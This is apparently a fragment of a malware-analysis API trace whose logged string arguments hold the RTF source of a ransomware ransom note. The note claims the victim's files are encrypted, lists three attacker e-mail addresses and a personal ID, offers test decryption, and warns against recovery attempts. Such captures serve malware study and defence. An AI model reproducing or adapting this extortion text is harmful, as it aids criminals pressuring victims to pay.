-m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 